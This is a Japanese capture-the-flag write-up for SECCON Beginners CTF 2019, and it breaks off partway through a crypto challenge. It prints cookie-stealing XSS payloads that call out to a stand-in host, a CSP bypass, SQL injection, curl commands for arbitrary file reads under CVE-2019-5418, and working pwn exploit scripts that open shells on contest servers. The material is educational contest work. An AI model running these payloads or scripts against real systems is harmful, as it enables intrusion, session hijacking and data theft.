SECCON Beginners CTF 2019

第2回 SECCON Beginners CTF(5月25日)開催のお知らせ→登録開始しました! - SECCON 2018

去年に引き続き、2回目。初心者向け…… :thinking: となる難易度だけど、ギリギリ解けるので、なかなか楽しい。

全問解けて2位。

Travis CI(?)が走っているの良い。


Web


[warmup] Ramen (293 solves, 73 points)

SQL Injection。' UNION ALL SELECT 0, flag FROM flag#で検索。

ctf4b{a_simple_sql_injection_with_union_select}


katsudon (217 solves, 101 points)


Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。

https://katsudon.quals.beginners.seccon.jp/flag


# app/controllers/coupon_controller.rb

class CouponController < ApplicationController
def index
end

def show
serial_code = params[:serial_code]
@coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
end
end

フラグを見に行くと、

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

と書かれている。

良く分からないけど、 -- の前をbase64で復号して、

$ echo BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6Bk

VU | base64 -d
I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ET

後から公開されたkatsudon-okawariで、問題文とかが複雑なわりにただのbase64の理由を察した。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}


Himitsu (32 solves, 379 points)


抱え込まないでくださいね。

https://himitsu.quals.beginners.seccon.jp

ソースコード:

https://score.beginners.seccon.jp/files/c8568442c06826ed8bba5695a0ca2ea3_himitsu.zip


秘密の記事を投稿して、自分とURLを知っている人は閲覧できる。運営に記事を送りつけることもできる。XSSして運営のセッションを盗めれば良い。

Markdownっぽい記法に混じって、記事にリンクを貼る記法がある。


[#記事ID#]

ページのタイトルを埋め込むことができます。例: [#a42a78de275ae00e31d337bd6bd75150#]


タイトルなどはテンプレートでの出力時にHTMLエスケープされている。本文は、エスケープして、記法の処理をし、DBに格納、出力時はエスケープされない。


article.twig

        <div class="m-3">

{{ body | raw}}
</div>

このコメントがあからさまに怪しい。


ArticleController.php

 :

// here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)
preg_match_all('/\[#(.*?)#\]/', $body, $matches);
foreach(range(0, count($matches)-1) as $i){
$found_article_key = $matches[1][$i];
$found_article = $mapper->getArticle($found_article_key);
if (preg_match('/[<>"\']/', $found_article['title'])){
return $this->app->renderer->render($response, 'new.twig', [
'error_message' => '埋め込み先の記事タイトルが不正です。',
:

ということで、無害なタイトルの記事を投稿し、その記事を埋込み、後からXSSに変えれば良さそうなものだけれど、投稿済みの記事を編集する機能が無い。「the title can be changed :-)」とは。

記事のIDは推測できる。しかも、秒単位ではなく分単位なので楽。


ArticleMapper.php

 :

public function createArticle($username, $title, $abstract, $body) {
$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title);
:

XSSを埋め込んだタイトルの記事Aを未来に投稿したときのIDを推測して、そのIDを埋め込んだ記事Bを事前に投稿する。埋込み先の記事が存在しないので、チェックは通る。その時刻になったらXSSする記事Aを投稿して、記事Bを運営に送りつける。

手元に、 py -s SimpleHTTPServer でHTTPサーバーを立てて、

<script>location.href="http://example.com:8000/?"+document.cookie</script>

というようなタイトルの記事を投稿した。待っていると運営のPHPSESSIDが付いたアクセスが飛んでくる。PHPSESSIDを差し替えて運営になりすますと、

https://himitsu.quals.beginners.seccon.jp/articles/28a147ca4874466215662ac702c730cf

という記事があり、フラグが書かれている。

ctf4b{simple_xss_just_do_it_haha_haha}


Secure Meyasubako (17 solves, 433 points)


みなさまからのご意見をお待ちしています。

https://meyasubako.quals.beginners.seccon.jp

参考:

https://score.beginners.seccon.jp/files/f379baacbdd51cd8305869a633377aa4_crawl.js


ご意見を投稿できる。一覧ではエスケープされるが、個別のURLではエスケープがされていない。ただしContent Security Policyが有効。

Content-Security-Policy: script-src 'self' www.google.com www.gstatic.com stackpath.bootstrapcdn.com code.jquery.com cdnjs.cloudflare.com

許可されたサイトから古いAngularJSなどを読み込むという手があるらしい。

Bypassing path restriction on whitelisted CDNs to circumvent CSP protections - SECT CTF Web 400 writeup | Blog - 0daylabs

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{x=$on.curry.call();x.location.href="http://example.com:8000/?"+x.document.cookie}}
</div>

を投稿した。

クローラーのソースコードを見れば分かるように、cookieにフラグが入っている。

xxx.xxx.xxx.xxx - - [26/May/2019 04:46:34] "GET /?flag=ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW} HTTP/1.1" 200 -

ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}


katsudon-okawari (8 solves, 469 points)


クーポンの管理画面なんだよな...

https://katsudon-okawari.quals.beginners.seccon.jp/

https://katsudon-okawari.quals.beginners.seccon.jp/flag


この問題はひどい……。8チームしか解けていない。この問題の説明とサイトだけを見て解くのはとても難しい。

IRCやTwitterにこんな投稿がある。

21:53 (nomuken) Katsudon-okawariの問題が追加されました、以後の問題追加はありません!

21:57 (atpons) Katsudonですが、問題にミスがあることが判明いたしました。修正版をkatsudon-okawariとして追加致しました。この度は申し訳ありませんでした。

katsudonがbase64復号で解けたのは想定外で、本来は別の解き方があり、katsudon-okawariはその解き方で解いてくれと。で、katsudonの問題文を見ると、「Rails 5.2.1で作られたサイトです」と書かれている。また、サイト上には(okawariにも)「データベース不具合のため、店舗一覧につきましては静的ファイルにて配信しております」という記載がある。

CVE-2019-5418。

Rails の CVE-2019-5418 は RCE (Remote code execution) です

render file:でファイルを出力している場合に、任意のファイルが読める。ヤバい。

これでファイルを集める。ファイルの構成は手元に、

$ rails new hoge

$ cd hoge
$ bundle install --path vendor/bundle

でrailsの環境を作って参考にした。

$ curl https://katsudon-okawari.quals.beginners.seccon.jp/storelists -H 'Accept: ../../../config/secrets.yml{{' > secrets.yml

$ curl https://katsudon-okawari.quals.beginners.seccon.jp/storelists -H 'Accept: ../../../app/controllers/application_controller.rb{{' > application_controller.rb


secrets.yml

 :

production:
secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34


coupon_controller.rb

class CouponController < ApplicationController

def index
end

def show
serial_code = params[:serial_code]
msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm")
@coupon_id = msg_encryptor.encrypt_and_sign(serial_code)
end
end


作問者は、base64で復号できるとは思っていなくて、この脆弱性でsecret_key_baseを盗んでほしかったのだろう。それで、今回は暗号化もされるようになったと。

問題はここからで、フラグは

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==

なのだけれど、encrypt_and_signの出力とフォーマットが異なる。

irb(main):001:0> msg_encryptor = ::ActiveSupport::MessageEncryptor.new('4e78e9e627139829910a03eedc8b2455', cipher: "aes-256-gcm")

=> #<ActiveSupport::MessageEncryptor:0x00007fffed8f6bd8 @secret="4e78e9e627139829910a03eedc8b2455", @sign_secret=nil, @cipher="aes-256-gcm", @verifier=#<ActiveSupport::MessageVerifier:0x00007fffed8f6ac0 @secret="4e78e9e627139829910a03eedc8b2455", @digest="SHA1", @serializer=ActiveSupport::MessageEncryptor::NullSerializer>, @serializer=Marshal>
irb(main):002:0> msg_encryptor.encrypt_and_sign('aaaaaaaaa')
=> "NWEzZmFoWG1MTVYzMHpyYUh3RzhNOC8vRlE9PS0tWm9BTysxd1Z3aVRaREV2Wg==--b18390a471327115a9b707390f2da5e8192acc77"

手元で作ったrailsのフォルダでrails consoleを実行するとirbが開ける。必要なgemが揃っているので楽。

NWEzZmFoWG1MTVYzMHpyYUh3RzhNOC8vRlE9PS0tWm9BTysxd1Z3aVRaREV2Wg==をbase64復号すると、5a3fahXmLMV30zraHwG8M8//FQ==--ZoAO+1wVwiTZDEvZ。これは暗号化したメッセージとIV。IV部分の桁数がフラグの--で区切った2個目と同じ。IVは256 bitではなく96 bitなのか。

vendor/bundle/ruby/2.5.0/gems/activesupport-4.2.10/lib/active_support/message_encryptor.rb を参考に無理矢理復号してみたら、復号できた。

irb(main):001:0> cipher = OpenSSL::Cipher.new('aes-256-gcm')

=> #<OpenSSL::Cipher:0x00007fffc03d7bc0>
irb(main):002:0> encrypted_data, iv = 'bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7'.split("--").map {|v| ::Base64.strict_decode64(v)}
=> ["m\x02\x03\xC37\xE3\xB5\x97oX\xB1\xFE\x1C>c\x86\x16V\xE3\xDD{pR\x9B\xC7\xB2\xC3D\xFC\xEC/rW\xA9\x0F\x15&\x9EQa\xF2\x88\xC3\x9Cj{\xFCa.", "qD\xBD}\a\xAD|\x10\xBC\xC2\xC5{"]
irb(main):003:0> cipher.decrypt
=> #<OpenSSL::Cipher:0x00007fffc03d7bc0>
irb(main):004:0> cipher.key = '4e78e9e627139829910a03eedc8b2455'
=> "4e78e9e627139829910a03eedc8b2455"
irb(main):005:0> cipher.iv = iv
=> "qD\xBD}\a\xAD|\x10\xBC\xC2\xC5{"
irb(main):006:0> decrypted_data = cipher.update(encrypted_data)
=> "\x04\bI\",ctf4b{06a46a95f2078ae095470992cd02f419}\x06:\x06ET"
irb(main):007:0> decrypted_data << cipher.final
Traceback (most recent call last):
9: from bin/rails:4:in `<main>'
:
OpenSSL::Cipher::CipherError ()

cipher.finalがエラーになるので、何か足りないようだけれど、フラグは得られた。

追記

あれ、普通にdecrypt_and_verifyできている人がいる……。

SECCON Beginners 2019 Writeup - teppay’s log

railsのバージョンが5.2.1なら問題のフォーマットになるのか。何かの嫌がらせでフォーマットをわざと変えているのかと思った :bow:

https://github.com/rails/rails/blob/fc5dd0b85189811062c85520fd70de8389b55aeb/activesupport/lib/active_support/message_encryptor.rb#L179

irb(main):001:0> flag = 'bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=='

=> "bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=="
irb(main):002:0> cipher = OpenSSL::Cipher.new('aes-256-gcm')
=> #<OpenSSL::Cipher:0x00007fffbbf79028>
irb(main):003:0> encrypted_data, iv, auth_tag = flag.split("--").map {|v| ::Base64.strict_decode64(v)}
=> ["m\x02\x03\xC37\xE3\xB5\x97oX\xB1\xFE\x1C>c\x86\x16V\xE3\xDD{pR\x9B\xC7\xB2\xC3D\xFC\xEC/rW\xA9\x0F\x15&\x9EQa\xF2\x88\xC3\x9Cj{\xFCa.", "qD\xBD}\a\xAD|\x10\xBC\xC2\xC5{", "\x13\xCB\xD0m\x11x\xBCz/bS\xC5\xBC}\xD4\x9D"]
irb(main):004:0> cipher.decrypt
=> #<OpenSSL::Cipher:0x00007fffbbf79028>
irb(main):005:0> cipher.key = '4e78e9e627139829910a03eedc8b2455'
=> "4e78e9e627139829910a03eedc8b2455"
irb(main):006:0> cipher.iv = iv
=> "qD\xBD}\a\xAD|\x10\xBC\xC2\xC5{"
irb(main):007:0> cipher.auth_tag = auth_tag
=> "\x13\xCB\xD0m\x11x\xBCz/bS\xC5\xBC}\xD4\x9D"
irb(main):008:0> decrypted_data = cipher.update(encrypted_data)
=> "\x04\bI\",ctf4b{06a46a95f2078ae095470992cd02f419}\x06:\x06ET"
irb(main):009:0> decrypted_data << cipher.final
=> "\x04\bI\",ctf4b{06a46a95f2078ae095470992cd02f419}\x06:\x06ET"
irb(main):010:0> Marshal.load(decrypted_data)
=> "ctf4b{06a46a95f2078ae095470992cd02f419}"

ctf4b{06a46a95f2078ae095470992cd02f419}


Pwnable


[warmup] shellcoder (63 solves, 291 points)

送ったシェルコードをそのまま実行してくれる。ただし、binshのいずれかの文字が含まれているものはダメ。「x64 shellcode」でググって出てきた最初にサイトのシェルコードには含まれていなかった。ラッキーw

http://shell-storm.org/shellcode/files/shellcode-806.php

$ hexdump -C shell.bin

00000000 31 c0 48 bb d1 9d 96 91 d0 8c 97 ff 48 f7 db 53 |1.H.........H..S|
00000010 54 5f 99 52 57 54 5e b0 3b 0f 05 |T_.RWT^.;..|
0000001b
$ cat shell.bin - | nc 153.120.129.186 20000
Are you shellcoder?
id
uid=40992 gid=40000(shellcoder) groups=40000(shellcoder)
cat /home/shellcoder/flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

ctf4b{Byp4ss_us!ng6_X0R_3nc0de}


OneLine (33 solves, 376 points)

バッファの最後にwriteのアドレスを書き込み、(バッファに入力を読みこみ、バッファの最後のアドレスを実行)×2。1回目でwriteのアドレスを取得して、One-gadget RCEに書き換えれば良い。


attack.py

from socket import *

from struct import *
from time import sleep
from telnetlib import Telnet

s = socket(AF_INET, SOCK_STREAM)
s.connect(("153.120.129.186", 10000))

sleep(1)
print s.recv(999)
s.send("aaaa")
d = s.recv(999)

write = unpack("<Q", d[0x20:])[0]
print "write: %016x"%write

rce = write - 0x110140 + 0x4f322
print "rce: %016x"%rce

s.send("a"*0x20+pack("<Q", rce))

t = Telnet()
t.sock = s
t.interact()


$ python solve.py

You can input text here!
>>
write: 00007f7bb57dd140
rce: 00007f7bb571c322
Once more again!
>> id
uid=30841 gid=30000(oneline) groups=30000(oneline)
cat /home/oneline/flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}


memo (30 solves, 386 points)

なぜか最初はこっちが[warmup]だった。

(インラインに展開されているから関数名は分からないけれど、たぶん)allocaでスタック上にメモリを確保して読みこんでいる。スタックからメモリを確保するというのはrspを減算するということ。負値を渡すとrspの値が逆に大きくなって、既存のスタックのアドレスが返り、書き込める。32バイト未満は弾くという処理が入っているけれど、ここの比較は符号無し。バイナリ中にhiddenという関数があって、system("sh")を実行している。ここに飛ばせば良い。

入力したサイズは16の整数倍に切り上げられる。リターンアドレスが入っているスタックのアドレスの末尾が8だった。これは退避されたrbpも一緒に書き換えてしまえば良い。どうせ使っていないから値は何でも良い。

で、実行すると、ここで落ちる。

[-------------------------------------code-------------------------------------]

0x7fffff04f2e6 <do_system+1078>: movq xmm0,QWORD PTR [rsp+0x8]
0x7fffff04f2ec <do_system+1084>: mov QWORD PTR [rsp+0x8],rax
0x7fffff04f2f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7fffff04f2f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
0x7fffff04f2fb <do_system+1099>: call 0x7fffff03f110 <__GI___sigaction>
0x7fffff04f300 <do_system+1104>: lea rsi,[rip+0x39e2f9] # 0x7fffff3ed600 <quit>
0x7fffff04f307 <do_system+1111>: xor edx,edx
0x7fffff04f309 <do_system+1113>: mov edi,0x3

これに悩んだけれど、SSEの命令で落ちているのを見るに、スタックが16バイト境界に揃っている必要があるらしい。適当なretに1回飛ばしてスタックのアドレスを調節すれば通った。たまたま手元でも同じ状況になったから良かったけど、手元で通っちゃったら分からなかったな。

$ hexdump -C attack.bin

00000000 2d 39 36 0a 00 00 00 00 00 00 00 00 bc 07 40 00 |-96...........@.|
00000010 00 00 00 00 bd 07 40 00 00 00 00 00 0a |......@......|
0000001d
$ cat attack.bin - | nc 133.242.68.223 35285
Input size : Input Content : Your Content : 1I^HHPTI@
id
uid=20201 gid=20000(memo) groups=20000(memo)
cat /home/memo/flag.txt
ctf4b{h4ckn3y3d_574ck_b0f}

ctf4b{h4ckn3y3d_574ck_b0f}


BabyHeap (13 solves, 448 points)

$ ./babyheap

Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f81edbeba00 <<<<<

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit

1はp==nullptrならp = malloc(0x30)とそこへの入力の読み込み、2はfree(p)、3はp=nullptr。double freeができる。「Present」はlibc中のstdinのアドレス。

追記:

fastbinsではなくtcacheとのこと。解説が詳しい。

SECCON Beginners CTF 2019のWriteup - CTFするぞ

小さいサイズのメモリはfreeされると、fastbinsというところにサイズ別に単方向リストで繋がれて、次に確保要求があったときにここから返される。このリストのポインタと、(fastbinsから外されて)利用者が使うときのメモリは同じ領域。

領域が被っているので、どの順番で書き込まれるかがややこしいけれど、次の手順で操作を実行するとfastbinとメモリがこのように変化する。fastbinに設定する次の要素のポインタを読み取ったあとで、入力した値が書き込まれる。mem[xxx]memの内容がxxxになっているということを表わす。

> 1 hogehoge

fastbin -> nullptr
p = mem1[hogehoge]

> 2
fastbin -> mem1[nullptr] -> nullptr
p = mem1[nullptr]

> 2
fastbin -> mem1[mem1] -> mem1[mem1] -> ...
p = mem1[mem1]

> 3
> 1 addr1
fastbin -> mem1[addr1] -> addr1
p = mem1[addr1]

> 3
> 1 hogehoge
fastbin -> addr1
p = mem1[hogehoge]

> 3
> 1 xxxxxxxx
fastbin -> nullptr(addr1が挿していたアドレス)
p = addr1[xxxxxxxx]

> 3
> 1 yyyyyyyy
fastbin -> nullptr
p = mem2[yyyyyyyy]

> 2
free(mem2)

任意のアドレスaddr1に任意の値xxxxxxxxが書き込める。これで何をするかというと、__free_hooksystemのアドレスに書き換える。__free_hooknullptr以外ならば、freeを呼んだときに__free_hookに設定された関数が呼び出される。yyyyyyyy/bin/shにすると、system("/bin/sh")となる。


attack.py

from socket import *

from struct import *
from time import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
#s.connect(("localhost", 58396))
s.connect(("133.242.68.223", 58396))

#raw_input()

sleep(1)
d = s.recv(999)
print d

stdin = int(d.split("\n")[2].split()[1][2:], 16)
print "stdin: %x"%stdin

free_hook = stdin - 0x3eba00 + 0x3ed8e8
system = stdin - 0x3eba00 + 0x4f440

print "free_hook: %x"%free_hook
print "system: %x"%system

def send(t):
print repr(t)
s.sendall(t+"\n")
sleep(0.1)
s.recv(9999)

send("1")
send("aaaaaaaa")
send("2")
send("2")
send("3")
send("1")
send(pack("<Q", free_hook))
send("3")
send("1")
send("aaaaaaaa")
send("3")
send("1")
send(pack("<Q", system))
send("3")
send("1")
send("/bin/sh")
#send("2")

t = Telnet()
t.sock = s
t.interact()


$ python attack.py

Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f556bd4aa00 <<<<<

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
>
stdin: 7f556bd4aa00
free_hook: 7f556bd4c8e8
system: 7f556b9ae440
'1'
'aaaaaaaa'
'2'
'2'
'3'
'1'
'\xe8\xc8\xd4kU\x7f\x00\x00'
'3'
'1'
'aaaaaaaa'
'3'
'1'
'@\xe4\x9akU\x7f\x00\x00'
'3'
'1'
'/bin/sh'
2
id
uid=10433 gid=10000(babyheap) groups=10000(babyheap)
cat /home/babyheap/flag.txt
ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}

ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}


Reversing


[warmup] Seccompare (414 solves, 57 points)

$ gdb ./seccompare

:
gdb-peda$ b *0x4006b9
Breakpoint 1 at 0x4006b9
gdb-peda$ r 0123456789abcdef0123456789abcdef01
:
[----------------------------------registers-----------------------------------]
RAX: 0x7ffffffede50 ("ctf4b{5tr1ngs_1s_n0t_en0ugh}")
RBX: 0x0
RCX: 0x400700 --> 0x41d7894956415741
RDX: 0x7ffffffee1ce ("0123456789abcdef0123456789abcdef01")
RSI: 0x7ffffffee1ce ("0123456789abcdef0123456789abcdef01")
RDI: 0x7ffffffede50 ("ctf4b{5tr1ngs_1s_n0t_en0ugh}")
RBP: 0x7ffffffede80 --> 0x400700 --> 0x41d7894956415741
RSP: 0x7ffffffede40 --> 0x7ffffffedf68 --> 0x7ffffffee187 ("/mnt/d/documents/ctf/seccon2019beginner/[warmup] Seccompare/seccompare")
RIP: 0x4006b9 --> 0x75c085fffffe32e8
R8 : 0x7fffff3ecd80 --> 0x0
R9 : 0x7fffff3ecd80 --> 0x0
R10: 0x0
R11: 0x7
R12: 0x400500 --> 0x89485ed18949ed31
R13: 0x7ffffffedf60 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4006af <main+200>: lea rax,[rbp-0x30]
0x4006b3 <main+204>: mov rsi,rdx
0x4006b6 <main+207>: mov rdi,rax
=> 0x4006b9 <main+210>: call 0x4004f0 <strcmp@plt>
0x4006be <main+215>: test eax,eax
0x4006c0 <main+217>: jne 0x4006d0 <main+233>
0x4006c2 <main+219>: lea rdi,[rip+0xcb] # 0x400794
0x4006c9 <main+226>: call 0x4004c0 <puts@plt>
Guessed arguments:
arg[0]: 0x7ffffffede50 ("ctf4b{5tr1ngs_1s_n0t_en0ugh}")
arg[1]: 0x7ffffffee1ce ("0123456789abcdef0123456789abcdef01")
arg[2]: 0x7ffffffee1ce ("0123456789abcdef0123456789abcdef01")

ctf4b{5tr1ngs_1s_n0t_en0ugh}


Leakage (120 solves, 186 points)

convert関数が長くて読むのがめんどくせぇ……と思ったけど、入力をconvertするのではなく、フラグのほうをconvertしていた。

  40062b:   e8 a0 00 00 00          call   4006d0 <convert>

400630: 88 45 fb mov BYTE PTR [rbp-0x5],al

ここにブレークポイントを設定して、alの値を読めば良い。gdbを上手く使えば一気に実行してログを見るみたいなことができるかもしれない。間違えた時点で処理を抜けるので、条件を潰しておく。

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}


Linear Operation (62 solves, 293 points)

今度こそ面倒……。なので、Harekaze CTFで知ったangrを使ってみる。pipでインストールして、

Harekaze CTF 2019 Writeup - Qiita

からスクリプトをいただいて、バイナリ名だけ書き換え。


solve.py

import angr

project = angr.Project('./linear_operation')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

states = simgr.deadended
for state in states:
flag = b"".join(state.posix.stdin.concretize())
print(flag)


$ python solve.py

WARNING | 2019-05-25 21:20:45,483 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.

c
ct
:
ctf4b{5ymbol1c_3xecuti0n_1s_3 fect1ve_4ga1nst_l1n34r_0p3r4ti0n}
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

プログラムの中身を一切見なくても解けた。すごいwww

ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}


SecconPass (19 solves, 425 points)


パスワード管理アプリケーションを解析してフラグを手に入れよう


途中で、


問題 secconpass の不具合についてのお詫び

問題 secconpass についてのアナウンスです。 問題の不具合により、フラグの一部が正常に得られないことが分かりました。 したがって今回は提出されたフラグの先頭 30 文字が正しければ、正解とします。 もしフラグを一度送信しているものの正答とならなかった場合には、改めて送信してください。 ご迷惑をおかけしてしまい申し訳ございません。

2019-05-25T19:10:01Z


というアナウンスがあった。

C++で面倒だが、objdump -d -M intel secconpass2 | c++filtc++filtを通し、std::vector<Entry, std::allocator<Entry> >vector<Entry>で、std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >stringみたいな置換をすると読める。

コード量にビビるけれど、大半がC++のテンプレートで生成されたコードなので読む必要があるコードは少ない。

$ ./secconpass

****************
** SecconPass **
****************
Action: 0
ID: kusano
PASS: aaaaaaaaaaaaaaaaaaaa
Action: 1
Index: 0
ID: kusano PASS: SSSSSSSSaaaa
Action: 2
Index: 0
Action: 1
Index: 0
Invalid index
Action: 3

0でパスワードとIDの組を追加、1で参照、2で削除、3は終了。/dev/urandomから読んだ乱数で暗号化してメモリ中に保存しているが、復号がバグっている?

そもそも、フラグがどこにあるのという話だけれど、destructor()が、

string id = "ctf4b";

string pass = "\x54\x4d\x51\x0d\x55\x42\x7e\x54\x47\x55\x04\x54\x04\x57\x43\x0a\x53\x66\x75\x40\x68\x7a\x47\x08\x42\x0c\x47\x08\x42\x0c\x6d";
Entry(id, pass);

を読んでいる。他のプログラム中で呼ばれるのは、Entry(id, pass, random)の3引数版。random/dev/urandomから読んだ4バイトの値。

Entry::encrypt(int)を読むと、単にxorを掛けているだけのようなので、フラグの先頭はctf4だろうと仮定して復号。


solve.py

E = "544d510d55427e54475504540457430a53667540687a4708420c4708420c6d".decode("hex")

E = map(ord, E)
R = map(ord, "ctf4")

for i in range(4, len(E)):
E[i] ^= E[i%4]^R[i%4]
for i in range(4):
E[i] = R[i]

print "".join(map(chr, E))


結果がctf4b{Impl3m3nt3d_By_Cp1u5p1u5Zで、末尾のZが31文字目。本来は}かな?

ctf4b{Impl3m3nt3d_By_Cp1u5p1u5}


Crypto


[warmup] So Tired (192 solves, 115 points)

zlibとbase64が500回繰り返されている。


solve.py

T = open("encrypted.txt").read()

while True:
T = T.decode("base64")
T = T.decode("zlib")
print T[:64]


>py -2 solve.py

eJwUm8XOq2AYhC+IBW5L3N3Z4RR3u/rzn11D2obvlZlnSKjUOxj7yNtEJnDZWmD0
eJwUmkWSrFAURBfEALch7u7McCjcZfW//7gjquG9ezPPqahKvYORit4VZgKXBxQm
:
eJxL9arw8cnOrgpOzC8NrjQqzPK1qKh0LfVwdTXzL080zfUq83BPTc52947KMTVL
eJxLLkkzSaouSy2qjM8xyEuHEE6Owa5mJvHGeckGKZl56bUAA2ENSw==
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Traceback (most recent call last):
File "solve.py", line 4, in <module>
T = T.decode("base64")
File "C:\program1\Python27\lib\encodings\base64_codec.py", line 42, in base64_decode
output = base64.decodestring(input)
File "C:\program1\Python27\lib\base64.py", line 328, in decodestring
return binascii.a2b_base64(s)
binascii.Error: Incorrect padding

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}


Party (96 solves, 223 points)


Let's 暗号パーティ



encrypt.py

from flag import FLAG

from Crypto.Util.number import bytes_to_long, getRandomInteger, getPrime

def f(x, coeff):
y = 0
for i in range(len(coeff)):
y += coeff[i] * pow(x, i)
return y

N = 512
M = 3
secret = bytes_to_long(FLAG)
assert(secret < 2**N)

coeff = [secret] + [getRandomInteger(N) for i in range(M-1)]
party = [getRandomInteger(N) for i in range(M)]

val = map(lambda x: f(x, coeff), party)
output = list(zip(party, val))
print(output)


coeff[0]がフラグ。val[i] = coeff[0] + coeff[1]*party[i] + coeff[2]*party[i]**2で、valpartyが既知。式が3個あって未知の値(coeff)も3個なので連立方程式を解きましょう。


solve.py

output = [(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)]

val = [0]*3
party = [0]*3
for i in range(3):
party[i] = output[i][0]
val[i] = output[i][1]

M = [
[1, party[0], party[0]**2, val[0]],
[1, party[1], party[1]**2, val[1]],
[1, party[2], party[2]**2, val[2]],
]

for i in range(3):
p = M[i][i]
assert p!=0
for j in range(4):
assert M[i][j]%p==0
M[i][j] /= p
for j in range(3):
if j!=i:
p = M[j][i]
for k in range(4):
M[j][k] -= M[i][k]*p
print ("%x"%M[0][3]).decode("hex")


ctf4b{just_d0ing_sh4mir}


Go RSA (37 solves, 363 points)


Nだけなくしちゃったんだよなあ……。


指定されたサーバーに繋ぐとこんな感じ。

Encrypted flag is: 2853345979517912107196291689967582868430580603732303310412689382553040361556593825483164854850321428297286903960707364163891863997444878279912616115529615970072378459631952865621729567170548672727527841035290805674885324970382545655687686428489774625314574682749211643292303979249889481681719593492103711960250493105728166479962842248981808864469161899904562463457461457750332177201193188340928097160250440662576354129997683360380687149100521919985563504910467509137126441674747817217617094026083447514945735774253464168996135456940899852752091547255882042316458022335014482101438335607188701603048172603425943444489

> 1
1
> 2
8636755610729638816374504196078335490943271030872776349961505779487082831774531448042043787659943712506054877112504279407976698170397072703538811198436875626897067222110447440981605637544086385195326147534860385469381766311196342930407393068749727905861632425265125260524772909121558622720754116560709973705679046643690172444657690689335066290055790695708988936203713812583594377415664861413819316407503377084209591275066319503897173330850933749187163068281356921041405061058596759759956159693197346835178562518897394745778628244912675117265414712907287505039043480547440214007709245340270225225341649903981227206867
> 3
